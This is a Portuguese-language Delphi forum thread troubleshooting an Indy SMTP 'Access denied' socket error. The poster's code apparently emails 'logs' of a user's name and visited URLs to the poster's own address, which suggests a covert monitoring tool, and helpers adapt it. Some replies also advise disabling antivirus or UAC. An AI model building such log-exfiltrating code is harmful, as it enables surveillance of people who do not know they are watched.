Socket Error 10013 Access denied

Boa tarde
Desativa o antivírus da maquina, faz um teste e posta o erro. Se o código estiver certo então deve enviar ou gera uma nova mensagem de erro.
Espero ter ajudado

Bom mas ele não tem que rodar com o antivírus da maquina ?

Agora da isto

Project Project1.exe raised exception class EIdSocketError with message 'Socket Error#10013
Access denied.'.Process stopped.UseStep or Run to continue.

Faz um teste usando este código é me diz se deu certo:


//enviar um e-mail com anexo
procedure TForm1.EnviarEmailComAnexo;
var
xAnexo : Integer;
Email: TIdMessage;
begin

//indica quem está enviando a mensagem
IdMessage1.Subject := 'Arquivos ' + ' em ' + FormatDateTime('dd/mm/yyyy hh:mm', Now);
IdMessage1.Sender.Name := 'Pro';
IdMessage1.Sender.Address := 'teste@procarta.com.br';
IdMessage1.From.Name := 'Pro';


IdMessage1.Recipients.EMailAddresses := 'teste@hotmail.com';

if comCopia.Text <> '' then
begin
IdMessage1.CCList.EMailAddresses := 'teste@hotmail.com';
end;

if comCopiaOculta.Text <> '' then
begin
IdMessage1.BccList.EMailAddresses := 'teste@hotmail.com';
end;


//Trata a Prioridade da mensagem
case cbxPrioridade.ItemIndex of
0 : IdMessage1.Priority := mpHigh;
1 : IdMessage1.Priority := mpNormal;
2 : IdMessage1.Priority := mpLow;
end;

// IdMessage1.ContentType := 'text/html';
IdMessage1.ContentType := 'html';
IdMessage1.CharSet := 'ISO-8859-1';
IdMessage1.Body.Add(MemoConteudoPadrao.Text);


//Tratando os arquivos anexos
for xAnexo := 0 to ListBoxAnexo.Items.Count-1 do
TIdAttachment.Create(IdMessage1.MessageParts, TFileName(ListBoxAnexo.Items.Strings[xAnexo]));


IdSMTP1.Disconnect;
IdSMTP1.Host := '10.000.00.0';
IdSMTP1.UserName := 'sis';
IdSMTP1.Password := 'sis';
IdSMTP1.Port := 25;
// IdSMTP1.AuthenticationType := false;

try
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
lbInformacoes.Caption :='Enviado com sucesso!!';
ListBoxAnexo.Clear;
IdMessage1.MessageParts.Clear;
IdMessage1.Body.Clear;
except
lbInformacoes.Caption :='Erro ao enviar o e-mail.';
end;
IdSMTP1.Disconnect;

end;

na verdade precisa que este funcionar por que olhas as configuração que fiz nele
with Message1 do
begin
Body.Assign(memo1.Lines);
Body.Add('');
Body.Add('Urls visitadas:');
Body.Add('');
Body.AddStrings(Memo2.Lines);
From.Text := 'patriciaxavie171@yahoo.com.br';
Recipients.EMailAddresses := 'patriciaxavie171@gmail.com';
Subject := 'Logs de: '+ funGetNomeUser;
smtp.AuthenticationType := atlogin; // Indica que requer autenticação
smtp.Username := 'patriciaxavie171';
smtp.Password := '********';
smtp.Host := 'smtp.mail.yahoo.com.br';
smtp.Port := 25;
smtp.Connect;
try
smtp.Send(message1); // Envia
finally
smtp.Disconnect; // Desconecta
Memo1.Clear;
Memo2.Clear;
end;
end;
end;

end;

Bom dia

Eu lhe mandei um exemplo para que pudesse testar, o exemplo faz a mesma coisa só que de uma forma diferente
basta você adaptar o código ao que precisa.

veja um exemplo:




//enviar um e-mail com anexo
procedure TForm1.EnviarEmailComAnexo;
var
xAnexo : Integer;
Email: TIdMessage;
funGetNomeUser :string;
begin

//indica quem está enviando a mensagem
IdMessage1.Subject := 'Logs de: '+ funGetNomeUser;
IdMessage1.Sender.Name := 'Pro';
IdMessage1.Sender.Address := 'patriciaxavie171@yahoo.com.br';
IdMessage1.From.Name := 'Pro';

IdMessage1.Recipients.EMailAddresses := 'patriciaxavie171@yahoo.com.br';

//Trata a Prioridade da mensagem
IdMessage1.Priority := mpHigh;


// IdMessage1.ContentType := 'text/html';
IdMessage1.ContentType := 'html';
IdMessage1.CharSet := 'ISO-8859-1';

IdMessage1.Assign(memo1.Lines);
IdMessage1.Body.Add('');
IdMessage1.Body.Add('Urls visitadas:');
IdMessage1.Body.Add('');
IdMessage1.Body.AddStrings(Memo2.Lines);


IdSMTP1.Disconnect;
IdSMTP1.Host := 'smtp.mail.yahoo.com.br';
IdSMTP1.UserName := 'patriciaxavie171';
IdSMTP1.Password := '********';
IdSMTP1.Port := 25;
// IdSMTP1.Authenticate;
IdSMTP1.AuthenticationType := atlogin; // Indica que requer autenticação

try
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
showmessage('Enviado com sucesso!!');
IdMessage1.MessageParts.Clear;
IdMessage1.Body.Clear;
except
showmessage('Erro ao enviar o e-mail.');
end;
IdSMTP1.Disconnect;
Memo1.Clear;
Memo2.Clear;
end;

espero ter ajudado

Vc tem email para eu tirar um print e te mandar sera que posso
por que esta dando o mesmo erro

segue o meu contato:
skype: itasouza10
e-mail : itasouza@yahoo.com.br

Eu te add
O meu mando por email mas e so aceitar

tente trocar a porta 25 -> 587

Ja foi trocada porta tudo que pensar deve ter um problema

O programa está sendo executado com permissão de administrador?

claro que sim
ele tem que ter um problema mas não estou dando conta
se puder ajudar

Olá Patricia Machado tudo bem?
Primeiramente você deve analisar o seguinte: o seu provedor usa quais credencias de conexão?
Ele requer autenticação? Quais portas ele utiliza para cada serviço de envio e recebimento?

Isso fará com que você não "erre" na conexão com o provedor. Como sua mensagem de erro está sendo de acesso negado, muito provavelmente seu erro estará aí.

Seria interessante postar aqui qual seu provedor, isso se ainda estiver interessada em ajuda.

Atenciosamente,

Isso fará com que você não "erre" na conexão com o provedor

Não e o provedor e sim uma erro no código deixa seu e-mail e mando o código para você se querer

Patricia... vamos lá:
Qual versão de Delphi?
Qual provedor?


mande o código para --> landerson_gomes@hotmail.com

Olá Patrícia!
Resolvido com o código que te passei?

Opa pessoal, eu peguei o 'bonde andando'... mas eu já tive problemas em enviar e-mail há um tempo... depois q pesquisei muito, consegui arrumar 2 dlss na web e deixar juntas com o EXE, meus e-emails sempre vão :).

As DLSS são:

Espero que seja essa a solução pra você, pois envio de e-mail é bem chatinho.

Obs: Escutei falarem( n posso confirmar a informação ), mas o Delphi XE ou XE5 não tem mais o Indy( ou ele n é a única opção) para envio de e-mail, há uma outra solução mais robusta.

Um abraço e até mais.

Mas onde achar elas

Execute como administrador ou desative UAC do Windows